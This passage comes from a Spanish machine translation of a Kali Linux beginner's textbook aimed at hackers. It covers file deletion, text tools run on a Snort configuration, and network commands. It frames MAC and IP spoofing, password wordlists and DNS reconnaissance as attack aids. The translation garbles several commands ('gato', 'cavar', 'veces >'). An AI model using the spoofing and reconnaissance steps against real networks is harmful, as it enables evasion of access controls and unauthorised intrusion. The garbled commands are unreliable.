rmdir: no se pudo eliminar 'nuevo directorio': el directorio no está vacío

Es importante tener en cuenta que rmdir no eliminará un directorio que no esté vacío,
pero le dará un mensaje de advertencia de que el "directorio no está vacío", como puede
ver en este ejemplo. Primero debe eliminar todo el contenido del directorio antes de
eliminarlo. Esto es para evitar que elimine accidentalmente objetos que no tenía la intención
de eliminar.

Si desea eliminar un directorio y su contenido de una sola vez, haga lo siguiente: rm,
puede usar el modificador -r después

kali >rm -r nuevodirectorio

Sin embargo, solo una advertencia: tenga cuidado al usar la opción -r con rm, al menos
al principio, porque es muy fácil eliminar archivos y directorios valiosos por error. El uso de
rm -r en su directorio de inicio, por ejemplo, eliminaría todos los archivos y directorios allí,
probablemente no sea lo que pretendía.

¡Ve a jugar ahora!

Ahora que tiene algunas habilidades básicas para navegar por el sistema de archivos,
puede jugar un poco con su sistema Linux antes de avanzar. La mejor manera de
familiarizarse con el uso de la terminal es probar sus nuevas habilidades ahora mismo. En
capítulos posteriores, exploraremos más y más profundamente nuestro campo de juego
de hackers.

EJERCICIOS
Machine Translated by Google

Antes de pasar al Capítulo 2, pruebe las habilidades que aprendió en este capítulo completando los siguientes ejercicios:

1. Utilice el comando ls del directorio raíz (/) para explorar la estructura de directorios de Linux. Muévase a cada
uno de los directorios con el comando cd y ejecute pwd para verificar dónde se encuentra en la estructura del
directorio.

2. Use el comando whoami para verificar con qué usuario ha iniciado sesión.

3. Use el comando de localización para buscar listas de palabras que se puedan usar para descifrar contraseñas.

4. Use el comando cat para crear un nuevo archivo y luego añádalo a ese archivo. Mantener dentro
cuenta que > redirige la entrada a un archivo y >> agrega a un archivo.

5. Cree un nuevo directorio llamado hackerdirectory y cree un nuevo archivo en ese directorio llamado hackedfile.
Ahora copie ese archivo en su directorio /root y cámbiele el nombre secretfile.
Machine Translated by Google

2
MANIPULACIÓN DE TEXTO

En Linux, casi todo con lo que trata directamente es un archivo y, con mayor frecuencia,
estos serán archivos de texto; por ejemplo, todos los archivos de configuración en Linux
son archivos de texto. Entonces, para reconfigurar una aplicación, simplemente abra el
archivo de configuración, cambie el texto, guarde el archivo y luego reinicie la aplicación:
su reconfiguración está completa.
Con tantos archivos de texto, la manipulación de texto se vuelve crucial en la
administración de Linux y aplicaciones de Linux. En este capítulo, utilizará varios
comandos y técnicas para manipular texto en Linux.
Con fines ilustrativos, usaré archivos del mejor sistema de detección de intrusos en
la red (NIDS) del mundo, Snort, que fue desarrollado por primera vez por Marty Roesch
y ahora es propiedad de Cisco. Los NIDS se usan comúnmente para detectar intrusiones
por parte de piratas informáticos, por lo que si desea ser un pirata informático exitoso,
debe estar familiarizado con las formas en que los NIDS pueden disuadir ataques y las
formas en que puede abusar de ellos para evitar la detección.

NOTA

Si la versión de Kali Linux que está utilizando no viene preinstalada con


Snort, puedes descargar los archivos del repositorio de Kali ingresando apt
obtener instalar snort.
Machine Translated by Google

Visualización de

archivos Como se demostró en el Capítulo 1, el comando de visualización de texto más


básico es probablemente cat, pero tiene sus limitaciones. Use cat para mostrar el archivo de
configuración de Snort (snort.conf) que se encuentra en/etc/snort (vea el Listado 2-1).

kali >gato /etc/snort/snort.conf

Listado 2-1: Mostrando snort.conf en la ventana de terminal

Su pantalla ahora debería mostrar el archivo snort.conf completo, que se transmitirá hasta
que llegue al final del archivo, como se muestra aquí. Esta no es la forma más conveniente o
práctica de ver y trabajar con este archivo.

# incluye $SO_RULE_PATH/exploit.rules #
incluye $SO_RULE_PATH/exploit.rules #
incluye $SO_RULE_PATH/exploit.rules #
incluye $SO_RULE_PATH/exploit.rules #
incluye $SO_RULE_PATH/exploit.rules

--recorte--

# umbrales de eventos o comandos de supresión... kali >

En las siguientes dos secciones, le mostraré los comandos de cabeza y cola , que son
dos métodos para mostrar solo una parte del contenido de un archivo para ver más fácilmente
el contenido clave.

tomando la cabeza
Si solo desea ver el comienzo de un archivo, puede usar el comando head . De forma
predeterminada, este comando muestra las primeras 10 líneas de un archivo.
El siguiente comando, por ejemplo, le muestra las primeras 10 líneas de snort.conf:

kali >head /etc/snort/snort.conf


#----------------------------------------------------- ------------------------ # Paquetes de reglas
VRT Snort.conf # #

Para más información visítenos en:

--recorte--
Machine Translated by Google

#Snort bugs:bugs@snort.org

Si desea ver más o menos de las 10 líneas predeterminadas, ingrese la cantidad que
desea con el interruptor de guión (-) después de la llamada al encabezado y antes del
nombre del archivo. Por ejemplo, si desea ver las primeras 20 líneas del archivo, debe
ingresar el comando que se muestra en la parte superior del Listado 2-2.

veces > cabeza -20 /etc/snort/snort.conf

#------------------------------------------------- #Paquetes de reglas


VRT Snort.conf # #Para obtener más información, visítenos
en: #. #. #.

#Opciones: --enable-gre --enable-mpls --enable-targetbased --enable-


ppm --enable-perfprofiling enable-zlib --enable-act live-response --
enable-normalizer --enable-reload - -habilitar-reaccionar

Listado 2-2: Mostrando las primeras 20 líneas de snort.conf en la ventana de terminal

Debería ver solo las primeras 20 líneas de snort.conf en la ventana de su terminal.

Agarrando esa cola


El comando tail es similar al comando head , pero se usa para ver las últimas líneas de un
archivo. Usémoslo en snort.conf:

kali >tail /etc/snort/snort.conf #incluye


$SO_RULE_PATH/smtp.rules #incluye
$SO_RULE_PATH/specific-threats.rules #incluye
$SO_RULE_PATH/web-activex.rules #incluye
$SO_RULE_PATH/web-client.rules # incluir
$SO_RULE_PATH/web-iis.rules #incluir
$SO_RULE_PATH/web-miscp.rules

#Comandos de supresión y umbralización de eventos. Ver umbral.conf

Tenga en cuenta que este comando muestra algunas de las últimas líneas de inclusión
de los archivos de reglas, pero no todas, porque al igual que la cabeza, el valor predeterminado
para la cola es mostrar 10 líneas. Puede mostrar más líneas seleccionando las últimas 20
líneas de snort.conf. Al igual que con el comando de la cabeza , puedes decirle a la cola cómo
Machine Translated by Google

cuántas líneas mostrar ingresando un guión (-) y luego el número de líneas entre el comando y el
nombre del archivo, como se muestra en el Listado 2-3.

kali >tail -20 /etc/snort/snort.conf #incluye


$SO_RULE_PATH/chat.rules #incluye
$SO_RULE_PATH/chat.rules #incluye
$SO_RULE_PATH/chat.rules --snip-- #Umbral
de eventos o comandos de supresión. Ver
theshold.conf

Listado 2-3: Mostrando las últimas 20 líneas de snort.conf en la ventana de terminal

Ahora podemos ver casi todas las líneas de inclusión de los archivos de reglas en una
pantalla.

Numeración de las líneas A

veces, especialmente con archivos muy largos, es posible que deseemos que el
archivo muestre números de línea. Dado que snort.conf tiene más de 600 líneas,
los números de línea serían útiles aquí. Esto hace que sea más fácil hacer
referencia a los cambios y volver al mismo lugar dentro del archivo.
Para mostrar un archivo con números de línea, usamos nl (líneas numéricas)
mando. Simplemente ingrese el comando que se muestra en el Listado 2-4.

kali >nl /etc/snort/snort.conf 612


#################################### ########################## 613 #reglas
de biblioteca dinámica 614 #incluye $SO_RULE_PATH/bad-traffic.rules 615 #incluye
$SO_RULE_PATH/chat .rules --snip-- 630 #incluye $SO_RULE_PATH/web-iis.rules 631
#incluye $SO_RULE_PATH/web-misc.rules

Listado 2-4: Mostrando números de línea en la salida del terminal

Cada línea ahora tiene un número, lo que hace que la referencia sea mucho más fácil.

Filtrado de texto con grep El comando grep

es probablemente el comando de de texto más utilizado. Le permite filtrar el contenido de un


manipulación
archivo para mostrarlo. Si, por ejemplo, desea ver todas las líneas que incluyen la palabra salida en
su
Machine Translated by Google

snort.conf, podría usar cat y pedirle que muestre solo esas líneas (vea el Listado
2-5).

kali >gato /etc/snort/snort.conf | salida grep # 6)


Configure los complementos de salida # Paso #6:
Configure los complementos de salida # salida
unificada2: nombre de archivo combinado. salida alert_unified2: nombre de archivo
merged.log, límite 128, nostamp # salida log_unified2: nombre de archivo merged.log,
límite 128, nostamp # salida alert_syslog: LOG_AUTH LOG_ALERT # salida log_tcpdump:
tcpdump.log

Listado 2-5: Mostrando líneas con instancias de la palabra clave o frase especificada por grep

Este comando primero verá snort.conf y luego usará una canalización (|) para
para grep, apariciones
enviar, que
detomará
la palabra
el archivo
salida ycomo
mostrará
entrada,
solobuscará
esas líneas.
líneas
Elcon él
comando es un comando muy poderoso y esencial para trabajar en Linux, ya que sujeción

puede ahorrarle horas de búsqueda de cada aparición de una palabra o comando


en un archivo.

Hacker Challenge: usar grep, nl, tail y head


Digamos que quiere mostrar las cinco líneas inmediatamente antes de una línea
que dice # Paso #6: Configure los complementos de salida usando al menos
cuatro de los comandos que acaba de aprender. ¿Como lo harias? (Sugerencia:
hay muchas más opciones para estos comandos que los que hemos discutido.
Puede aprender más comandos usando el comando man incorporado de Linux.
Por ejemplo, man tail mostrará el archivo de ayuda para el comando tail ).
Hay muchas formas de resolver este desafío; aquí, te muestro qué líneas
cambiar para hacerlo de una manera, y tu trabajo es encontrar otro método.

Paso 1

kali >nl/etc/snort.conf | salida grep # 6)


34 Configurar complementos de
512 salida # Paso #6: Configurar
518 complementos de salida # salida unificada2: nombre de archivo
combinado.
521
Machine Translated by Google

522 # salida log_unified2: nombre de archivo snort.log, límite 128, nostamp # salida
525 alert_syslog: LOG_AUTH LOG_ALERT # salida log_tcpdump: tcpdump.log
528

Podemos ver que la línea # Paso #6: Configurar complementos de salida es la línea
512, y sabemos que queremos las cinco líneas que preceden a la línea 512, así como
también la línea 512 (es decir, las líneas 507 a 512).

Paso 2

kali >tail -n+507 /etc/snort/snort.conf | head -n 6 nested_ip internal, \


whitelist $WHITE_LIST_PATH/white_list.rules, \ blacklist
$BLACK_LIST_PATH/black_list.rules

############################################## #
# Paso #6: Configurar complementos de salida

Aquí, usamos la cola para comenzar en la línea 507 y luego la salida en la cabeza, y
devolvemos solo las seis líneas superiores, lo que nos da las cinco líneas que preceden a la
línea del Paso #6 , con esa línea incluida.

Uso de sed para buscar y reemplazar El comando

sed le permite buscar apariciones de una palabra o un patrón de texto y luego realizar
alguna acción en él. El nombre del comando es una contracción de editor de secuencias,
porque sigue el mismo concepto que un editor de secuencias. En su forma más básica, sed
funciona como la función Buscar y reemplazar de Windows.

Busque la palabra mysql en el archivo snort.conf usando grep, así:

kali >gato /etc/snort/snort.conf | grep mysql incluye


$RULE_PATH/mysql.rules #incluye $RULE_PATH/servidor-
mysql.rules

Deberías ver que mysql. sujeción


comando encontró dos ocurrencias de

Digamos que desea que sed reemplace cada aparición de mysql con MySQL (recuerde,
Linux distingue entre mayúsculas y minúsculas) y luego guarde el nuevo archivo en
Machine Translated by Google

snort2.conf. Puede hacer esto ingresando el comando que se muestra en el


Listado 2-6.

kali >sed s/mysql/MySQL/g /etc/snort/snort.conf > snort2.conf

Listado 2-6: Usar sed para buscar y reemplazar palabras clave o frases

El comando s realiza la búsqueda: primero ingresa el término que está


buscando (mysql) y luego el término por el que desea reemplazarlo (MySQL),
separados por una barra inclinada (/). El comando
que ellereemplazo
dice a Linux
gramo seque
realice
desea
globalmente. Luego, el resultado se guarda en un nuevo archivo llamado
snort2.conf.
Ahora, cuando use grep con snort2.conf para buscar mysql, verá que no se
encontraron instancias, pero cuando busque MySQL, verá
ver dos ocurrencias.

kali >gato snort2.conf | grep MySQL


incluye $RULE_PATH/MySQL.rules
#incluye $RULE_PATH/servidor-MySQL.rules

Si quisiera reemplazar solo la primera aparición del término mysql, omitiría


el comando g final.

kali >sed s/mysql/MySQL/ snort.conf > snort2.conf

También puede usar el comando sed para buscar y reemplazar cualquier


ocurrencia específica de una palabra en lugar de todas las ocurrencias o solo
la primera. Por ejemplo, si desea reemplazar solo la segunda ocurrencia de la
palabra mysql, simplemente coloque el número de ocurrencia (en este caso, 2)
al final del comando:

kali >sed s/mysql/MySQL/2 snort.conf > snort2.conf

Este comando afecta solo a la segunda aparición de mysql.

Ver archivos con más y menos Aunque cat es

una buena utilidad para mostrar archivos y crear archivos pequeños, ciertamente
tiene sus limitaciones cuando muestra archivos grandes. cuando usas
Machine Translated by Google

cat con snort.conf, el archivo se desplaza por cada página hasta llegar al final, lo
que no es muy práctico si desea obtener información de él.

Para trabajar con archivos más grandes, tenemos otras dos utilidades de visualización: más y menos.

Control de la pantalla con más El comando más

muestra una página de un archivo a la vez y le permite desplazarse hacia abajo


con la tecla ENTER . Es la utilidad que usan las páginas de manual, así que
veámosla primero. Abra snort.conf con el comando more , como se muestra en el
Listado 2-7.

kali >más /etc/snort/snort.conf --snip--


Opciones de compilación de Snort: # #
mpls --enable-targetbased
Opciones: --enable-gre
--enable-ppm
--enable-
--enable-perfprofiling enable -zlib --enable-active -response --enable-
normalizer --enable-reload --enable-react --enable-flexresp3 # --Más--(2%)

Listado 2-7: Uso de more para mostrar la salida del terminal una página a la vez

Observe que more muestra solo la primera página y luego se detiene, y nos
dice en la esquina inferior izquierda cuánto del archivo se muestra (2 por ciento en
este caso). Para ver líneas o páginas adicionales, presione ENTER. Para salir más,
ingrese q (para salir).

Mostrar y filtrar con menos


El comando menos es muy similar a más, pero con una funcionalidad adicional,
de ahí el comentario común de los aficionados de Linux: "Menos es más". Con
menos, no solo puede desplazarse por un archivo cuando lo desee, sino que
también puede filtrarlo por términos. Como en el Listado 2-8, abra snort.conf con
menos.

kali >less /etc/snort/snort.conf --snip--


# Opciones de compilación de Snort:
Machine Translated by Google

# Opciones: --enable-gre --enable-mpls --enable-targetbased --enable-


ppm --enable-perfprofiling enable-zlib --enable-active -response --enable-
normalizer --enable-reload -- habilitar-reaccionar /etc/snort/snort.conf

Listado 2-8: Usar menos para mostrar la salida del terminal una página a la vez y filtrar los resultados

Observe en la parte inferior izquierda de la pantalla que menos ha


resaltado la ruta al archivo. Si presiona la tecla de barra diagonal (/) , menos
le permitirá buscar términos en el archivo. Por ejemplo, cuando configura
Snort por primera vez, debe determinar cómo y dónde desea enviar su salida
de alerta de intrusión. Para encontrar esa sección del archivo de configuración,
simplemente puede buscar la salida, así:

# Opciones de construcción de Snort:


# Opciones: --enable-gre --enable-mpls --enable-targetbased
--enable-ppm --enable-perfprofiling enable-zlib --enable-active
-respuesta --habilitar-normalizador --habilitar-recargar --habilitar-reaccionar
/producción

Esto lo llevará inmediatamente a la primera aparición de salida y la


resaltará. A continuación, puede buscar la siguiente aparición de salida
escribiendo n (para siguiente).

# Paso #6: Configurar complementos de salida


# Para obtener más información, consulte el Manual de Snort, Configuración de Snort - Módulos
de salida ################################## ###############################

#unified2
# Recomendado para la mayoría de las
instalaciones # salida unificada2: nombre de archivo merged.log, límite 128, nostamp,
mpls_event_types, vlan_event_types salida unificada2: nombre de archivo snort.log, límite 128,
nostamp, mpls_event_types, vlan_event_types

# Configuración adicional para tipos específicos de instalaciones #


salida alert_unified2: nombre de archivo snort.alert, limit 128, nostamp # salida
log_unified2: nombre de archivo snort.log, limit 128, nostamp

# syslog
# salida alert_syslog: LOG_AUTH LOG_ALERT
:

Como puede ver, less lo llevó a la siguiente aparición de la palabra salida


y resaltó todos los términos de búsqueda. En este caso, fue directamente a
la sección de salida de Snort. ¡Que conveniente!
Machine Translated by Google

Resumen Linux

tiene numerosas formas de manipular texto, y cada forma tiene sus propias fortalezas y
debilidades. Hemos abordado algunos de los métodos más útiles en este capítulo, pero le
sugiero que pruebe cada uno y desarrolle sus propias sensaciones y preferencias. Por
ejemplo, creo que grep es indispensable y lo uso con menos frecuencia, pero es posible
que se
sienta diferente.

EJERCICIOS

Antes de pasar al Capítulo 3, pruebe las habilidades que aprendió en este capítulo completando los
siguientes ejercicios:

1. Vaya a /usr/share/wordlists/metasploit. Este es un directorio de múltiples listas de palabras que


se pueden usar para forzar contraseñas en varios dispositivos protegidos con contraseña usando
Metasploit, el marco de trabajo de pentesting y piratería más popular.
2. Use el comando cat para ver el contenido del archivo passwords.lst.
3. Use el comando more para mostrar el archivo passwords.lst.
4. Use el comando less para ver el archivo passwords.lst.
5. Ahora use el comando nl para colocar números de línea en las contraseñas en passwords.lst.
Debería haber 88.396 contraseñas.
6. Use el comando tail para ver las últimas 20 contraseñas en passwords.lst.
7. Use el comando cat para mostrar passwords.lst y canalícelo para encontrar todas las contraseñas
que contienen 123.
Machine Translated by Google

3
ANÁLISIS Y GESTIÓN DE REDES

Comprender las redes es crucial para cualquier aspirante a hacker. En muchas


situaciones, pirateará algo a través de una red, y un buen hacker necesita saber
cómo conectarse e interactuar con esa red.
Por ejemplo, es posible que necesite conectarse a una computadora con su
dirección de Protocolo de Internet (IP) oculta a la vista, o puede que necesite
redirigir las consultas del Sistema de nombres de dominio (DNS) de un objetivo
a su sistema; este tipo de tareas son relativamente simples pero requieren un
poco de conocimiento de la red Linux. Este capítulo le muestra algunas
herramientas esenciales de Linux para analizar y administrar redes durante sus
aventuras de hackeo de redes.

Analizando redes con ifconfig


El comando ifconfig es una de las herramientas más básicas para examinar e
interactuar con interfaces de red activas. Puede usarlo para consultar sus
conexiones de red activas simplemente ingresando ifconfig en la terminal.
Pruébelo usted mismo y debería ver un resultado similar al Listado 3-1.

kali >ifconfig
ÿeth0Linkencap:EthernetHWaddr 00:0c:29:ba:82:0f
ÿinet addr:192.168.181.131 ÿBcast:192.168.181.255 ÿMáscara:255.255.255.0 --
snip--
Machine Translated by Google

ÿlo Linkencap:Local Loopback


inet addr:127.0.0.1 Mask:255.0.0.0 --snip--
ÿwlan0 Link encap:EthernetHWaddr
00:c0:ca:3f:ee:02

Listado 3-1: Uso de ifconfig para obtener información de la red

Como puede ver, el comando ifconfig muestra información útil sobre las interfaces de red activas en
el sistema. En la parte superior de la salida está el nombre de la primera interfaz detectada, eth0 ÿ, que

es la abreviatura de Ethernet0 (Linux comienza a contar en 0 en lugar de 1). Esta es la primera conexión
de red por cable. Si hubiera más interfaces Ethernet cableadas, se mostrarían en la salida con el mismo
formato (eth1, eth2, etc.).

El tipo de red que se utiliza (Ethernet) se muestra a continuación, seguido de


HWaddr y una dirección; esta es la dirección única global estampada en cada
pieza de hardware de red; en este caso, la tarjeta de interfaz de red (NIC),
generalmente denominada dirección de control de acceso a medios (MAC).

La segunda línea contiene información sobre la dirección IP actualmente


asignada a esa interfaz de red (en este caso, 192.168.181.131 ÿ); el Bcast ÿ, o
dirección de transmisión, que es la dirección utilizada para enviar información a
todas las IP de la subred; y finalmente la máscara de red (Máscara ÿ), que se
utiliza para determinar qué parte de la dirección IP está conectada a la red local.
También encontrará más información técnica en esta sección del resultado, pero
está más allá del alcance de este capítulo de conceptos básicos de redes de
Linux.
La siguiente sección de la salida muestra otra conexión de red llamada lo ÿ,
que es la abreviatura de dirección de bucle invertido y, a veces, se llama localhost.
Esta es una dirección de software especial que lo conecta a su propio sistema. El
software y los servicios que no se ejecutan en su sistema no pueden usarlo.
Usaría lo para probar algo en su sistema, como su propio servidor web. El
localhost generalmente se representa con la dirección IP 127.0.0.1.

La tercera conexión es la interfaz wlan0 ÿ. Esto aparece solo si tiene una


interfaz inalámbrica o un adaptador, como lo hago aquí. Tenga en cuenta que también
Machine Translated by Google

muestra la dirección MAC de ese dispositivo (HWaddr).


Esta información de ifconfig le permite conectarse y manipular la configuración de su
red de área local (LAN), una habilidad esencial para la piratería.

Comprobación de dispositivos de red inalámbrica con iwconfig


Si tiene un adaptador inalámbrico, puede usar el comando iwconfig para recopilar
información crucial para la piratería inalámbrica, como la dirección IP del adaptador, su
dirección MAC, en qué modo está y más. La información que puede obtener de este comando
es particularmente importante cuando utiliza herramientas de piratería inalámbrica como
aircrack-ng.
Usando la terminal, echemos un vistazo a algunos dispositivos inalámbricos con
iwconfig (vea el Listado 3-2).

kali >iwconfig
wlan0 IEEE 802.11bg ESSID:apagado/
cualquiera Modo:Administrado Punto de acceso: No asociado Tx-Power=20
dBm --snip-- lo sin extensiones inalámbricas

eth0 sin extensiones inalámbricas

Listado 3-2: Uso de iwconfig para obtener información sobre adaptadores inalámbricos

El resultado aquí nos dice que la única interfaz de red con extensiones inalámbricas es
wlan0, que es lo que esperaríamos. Ni lo ni eth0 tienen extensiones inalámbricas.

Para wlan0, aprendemos de qué estándares inalámbricos 802.11 IEEE es capaz nuestro
dispositivo: b y g, dos estándares de comunicación
los dispositivos inalámbricosinalámbrica tempranos.
ahora también incluyen La
n (mayoría de
n es el último
estándar).
También aprendemos de iwconfig el modo de la extensión inalámbrica (en este caso,
Modo: Administrado, en contraste con el modo monitor o promiscuo).
Necesitaremos un modo promiscuo para descifrar contraseñas inalámbricas.
A continuación, podemos ver que el adaptador inalámbrico no está conectado (No
Asociado) a un punto de acceso (AP) y que su potencia es de 20 dBm, lo que representa la
fuerza de la señal. Pasaremos más tiempo con esta información en el Capítulo 14.
Machine Translated by Google

Cambiar la información de su red Ser capaz de

cambiar su dirección IP y otra información de la red es una habilidad útil porque


lo ayudará a acceder a otras redes mientras aparece como un dispositivo
confiable en esas redes. Por ejemplo, en un ataque de denegación de servicio
(DoS), puede falsificar su IP para que el ataque parezca provenir de otra fuente,
lo que lo ayuda a evadir la captura de IP durante el análisis forense. Esta es
una tarea relativamente simple en Linux y se realiza con el comando ifconfig .

Cambiar su dirección IP Para cambiar

su dirección IP, ingrese ifconfig seguido de la interfaz que desea reasignar y


la nueva dirección IP que desea asignar a esa interfaz. Por ejemplo, para
asignar la dirección IP 192.168.181.115 a la interfaz eth0, ingresaría lo siguiente:

veces > ifconfig eth0 192.168.181.115


veces >

Cuando haga esto correctamente, Linux simplemente devolverá el comando


avisar y no decir nada. ¡Ésto es una cosa buena!
Luego, cuando vuelva a verificar sus conexiones de red con ifconfig,
debería ver que su dirección IP ha cambiado a la nueva dirección IP que acaba
de asignar.

Cambiar su máscara de red y transmisión


Habla a
También puede cambiar su máscara de red (máscara de red) y la dirección de
transmisión con el comando ifconfig . Por ejemplo, si desea asignar esa misma
interfaz eth0 con una máscara de red de 255.255.0.0 y una dirección de
transmisión de 192.168.1.255, debe ingresar lo siguiente:

veces > ifconfig eth0 192.168.181.115 máscara de red 255.255.0.0 difusión 192.168.1.255
veces >
Machine Translated by Google

Una vez más, si ha hecho todo correctamente, Linux responde con un nuevo
símbolo del sistema. Ahora ingrese ifconfig nuevamente para verificar que cada uno
de los parámetros se haya cambiado en consecuencia.

Falsificación de su dirección MAC También

puede usar ifconfig para cambiar su dirección MAC (o HWaddr). La dirección MAC
es globalmente única y, a menudo, se usa como medida de seguridad para mantener
a los piratas informáticos fuera de las redes o para rastrearlos. Cambiar su dirección
MAC para falsificar una dirección MAC diferente es casi trivial y neutraliza esas
medidas de seguridad. Por lo tanto, es una técnica muy útil para eludir los controles
de acceso a la red.
Para falsificar su dirección MAC, simplemente use la opción de bajada del
comando ifconfig para desactivar la interfaz (eth0 en este caso). Luego ingrese el
comando ifconfig seguido del nombre de la interfaz (hw para hardware, ether para
Ethernet) y la nueva dirección MAC falsificada. Por último, vuelve a activar la interfaz
con la opción de subir para que se produzca el cambio. Aquí hay un ejemplo:

kali >ifconfig eth0 abajo


kali >ifconfig eth0 hw ether 00:11:22:33:44:55 kali
>ifconfig eth0 arriba

Ahora, cuando verifique su configuración con ifconfig, ¡debería ver que HWaddr
ha cambiado a su nueva dirección IP falsificada!

Asignación de nuevas direcciones IP desde el servidor DHCP Linux tiene un

servidor de protocolo de configuración dinámica de host (DHCP) que ejecuta un


demonio, un proceso que se ejecuta en segundo plano, llamado dhcpd o el demonio
dhcp. El servidor DHCP asigna direcciones IP a todos los sistemas en la subred y
mantiene archivos de registro de qué dirección IP se asigna a qué máquina en un
momento dado. Esto lo convierte en un gran recurso para que los analistas forenses
rastreen a los piratas informáticos después de un ataque. Por esa razón, es útil
comprender cómo funciona el servidor DHCP.
Por lo general, para conectarse a Internet desde una LAN, debe tener una IP
asignada por DHCP. Por lo tanto, después de configurar una dirección IP estática, usted
Machine Translated by Google

debe regresar y obtener una nueva dirección IP asignada por DHCP. Para hacer
esto, siempre puede reiniciar su sistema, pero le mostraré cómo recuperar un nuevo
DHCP sin tener que apagar su sistema y reiniciarlo.
Para solicitar una dirección IP de DHCP, simplemente llame al servidor DHCP
con el comando dhclient seguido de la interfaz a la que desea asignar la dirección.
Las diferentes distribuciones de Linux usan diferentes clientes DHCP, pero Kali se
basa en Debian, que usa dhclient. Por lo tanto, puede asignar una nueva dirección
como esta:

tiempos >dhclient eth0

El comando dhclient envía una solicitud DHCPDISCOVER desde la interfaz de


red especificada (aquí, eth0). Luego recibe una oferta (DHCPOFFER) del servidor
DHCP (192.168.181.131 en este caso) y confirma la asignación de IP al servidor
DHCP con una solicitud dhcp.

kali >ifconfig
eth0Linkencap:EthernetHWaddr 00:0c:29:ba:82:0f inet
addr:192.168.181.131 Bcast:192.168.181.131 Máscara:255.255.255.0

Dependiendo de la configuración del servidor DHCP, la dirección IP asignada en


cada caso puede ser diferente.
Ahora, cuando ingrese ifconfig, debería ver que el servidor DHCP ha asignado
una nueva dirección IP, una nueva dirección de transmisión y una nueva máscara de
red a su interfaz de red eth0.

Manipulación del sistema de nombres de dominio


Los piratas informáticos pueden encontrar un tesoro de información sobre un objetivo
en su Sistema de nombres de dominio (DNS). El DNS es un componente crítico de
Internet y, aunque está diseñado para traducir nombres de dominio a direcciones IP,
un pirata informático puede usarlo para obtener información sobre el objetivo.

Examinando DNS con dig


DNS es el servicio que traduce un nombre de dominio como hackers-arise.com a la
dirección IP apropiada; de esa manera, su sistema sabe cómo obtener
Machine Translated by Google

lo. Sin DNS, todos tendríamos que recordar miles de direcciones IP para nuestros sitios web favoritos,
una tarea nada fácil, incluso para un experto.

Uno de los comandos más útiles para los aspirantes a piratas informáticos es dig, que ofrece una
forma de recopilar información de DNS sobre un dominio de destino.
La información DNS almacenada puede ser una pieza clave de reconocimiento temprano para obtener
antes de atacar. Esta información podría incluir la dirección IP del servidor de nombres del objetivo (el
servidor que traduce el nombre del objetivo a una dirección IP), el servidor de correo electrónico del
objetivo y, potencialmente, cualquier subdominio y dirección IP.

Por ejemplo, ingrese dig hackers-arise.com y agregue la opción ns (abreviatura de servidor de


nombres). El servidor de nombres para hackers-arise.com se muestra en la SECCIÓN DE RESPUESTAS
del Listado 3-3.

kali> cavar hackers-arise.com ns --snip-- ;;


SECCIÓN DE PREGUNTAS:;hackers-
arise.com.
EN NS

;; SECCIÓN DE
RESPUESTAS: hackers-arise.com. 5 EN NS ns7.wixdns.net. hackers-
arise.com. 5 EN NS ns6.wixdns.net.

;; SECCIÓN ADICIONAL:
ns6.wixdns.net. --recorte-- 5 EN UN 216.239.32.100

Listado 3-3: Uso de dig y su opción ns para obtener información sobre un servidor de nombres de dominio

También tenga en cuenta en la SECCIÓN ADICIONAL que esta consulta de excavación revela la IP
dirección (216.239.32.100) del servidor DNS que sirve a hackers-arise.com.

También puede usar el comando dig para obtener información sobre los servidores de correo
electrónico conectados a un dominio agregando la opción mx (mx es la abreviatura de servidor de
intercambio de correo). Esta información es fundamental para los ataques a los sistemas de correo
electrónico. Por ejemplo, la información sobre los servidores de correo electrónico www.hackers-
arise.com se muestra en la SECCIÓN DE AUTORIDAD del Listado 3-4.

kali> cavar hackers-arise.com mx --snip-- ;;


SECCIÓN DE PREGUNTAS:;hackers-
arise.com.
EN MX

;; SECCIÓN DE AUTORIDAD:
hackers-arise.com. 5 EN SOA ns6.wixdns.net. soporte.wix.com 2016052216
Machine Translated by Google

10800 3600 604 800 3600 --


recortar--

Listado 3-4: Uso de dig y su opción mx para obtener información sobre un servidor de intercambio de correo de dominio

El servidor DNS de Linux más común es el dominio de nombres de Internet de Berkeley


(BIND). En algunos casos, los usuarios de Linux se referirán a DNS como BIND, pero no
se confunda: tanto DNS como BIND asignan nombres de dominio individuales a direcciones
IP.

Cambiar su servidor DNS


En algunos casos, es posible que desee utilizar otro servidor DNS. Para hacerlo, editará
un archivo de texto sin formato llamado /etc/resolv.conf en el sistema. Abra ese archivo en
un editor de texto; estoy usando Leafpad. Luego, en su línea de comando, ingrese el
nombre exacto de su editor seguido de la ubicación del archivo y el nombre del archivo.
Por ejemplo,

kali > hoja de hoja /etc/resolv.conf

abrirá el archivo resolv.conf en el directorio /etc en mi editor de texto gráfico especificado,


Leafpad. El archivo debería parecerse a la Figura 3-1.

Figura 3-1: Un archivo resolv.conf típico en un editor de texto

Como puede ver en la línea 3, mi servidor de nombres está configurado en un servidor


DNS local en 192.168.181.2. Eso funciona bien, pero si quiero agregar o reemplazar ese
servidor DNS con, digamos, el servidor DNS público de Google en 8.8.8.8, agregaría la
siguiente línea en el archivo /etc/resolv.conf para especificar el servidor de nombres:

servidor de nombres 8.8.8.8


Machine Translated by Google

Entonces solo necesitaría guardar el archivo. Sin embargo, también puede lograr
el mismo resultado exclusivamente desde la línea de comando ingresando lo
siguiente:

kali >echo "servidor de nombres 8.8.8.8"> /etc/resolv.conf

Este comando hace eco del servidor de nombres de cadena 8.8.8.8 y lo redirige
(>) al archivo /etc/resolv.conf, reemplazando el contenido actual. Su archivo /etc/
resolv.conf ahora debería parecerse a la Figura 3-2.

Figura 3-2: Cambiar el archivo resolv.conf para especificar el servidor DNS de Google

Si abre el archivo /etc/resolv.conf ahora, debería ver que apunta las solicitudes
de DNS al servidor DNS de Google en lugar de a su servidor DNS local. Su sistema
ahora irá al servidor DNS público de Google para resolver nombres de dominio en
direcciones IP. Esto puede significar que los nombres de dominio tardan un poco
más en resolverse (probablemente milisegundos). Por lo tanto, para mantener la
velocidad pero conservar la opción de usar un servidor público, es posible que desee
conservar el servidor DNS local en el archivo resolv.conf y seguirlo con un servidor
DNS público. El sistema operativo consulta cada servidor DNS enumerado en el
orden en que aparece en /etc/resolv.conf, por lo que el sistema solo se referirá al
servidor DNS público si el nombre de dominio no se puede encontrar en el servidor
DNS local.

NOTA

Si está utilizando una dirección DHCP y el servidor DHCP proporciona una


configuración de DNS, el servidor DHCP reemplazará el contenido del archivo
cuando renueve la dirección DHCP.

Mapeo de sus propias direcciones IP


Machine Translated by Google

Un archivo especial en su sistema llamado archivo hosts también realiza la


traducción del nombre de dominio a la dirección IP. El archivo de hosts se
